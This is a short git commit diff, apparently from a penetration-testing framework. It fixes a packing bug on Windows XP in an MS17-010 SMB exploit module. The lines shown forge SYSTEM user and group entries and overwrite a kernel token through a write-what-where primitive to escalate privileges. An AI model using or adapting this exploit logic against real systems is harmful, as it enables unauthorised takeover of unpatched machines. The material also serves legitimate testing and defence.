fix pack error for xp
parent
1a74c60339
commit
6d35d241de
|
@ -129,7 +129,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
|||
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
|
||||
if fakeUserAndGroupCount != userAndGroupCount
|
||||
#write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
|
||||
write_what_where(fakeUserAndGroupCount.pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
|
||||
write_what_where([fakeUserAndGroupCount].pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
|
||||
end
|
||||
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
||||
write_what_where(fakeUserAndGroups, userAndGroupsAddr)
|
||||
|
|
Loading…
Reference in New Issue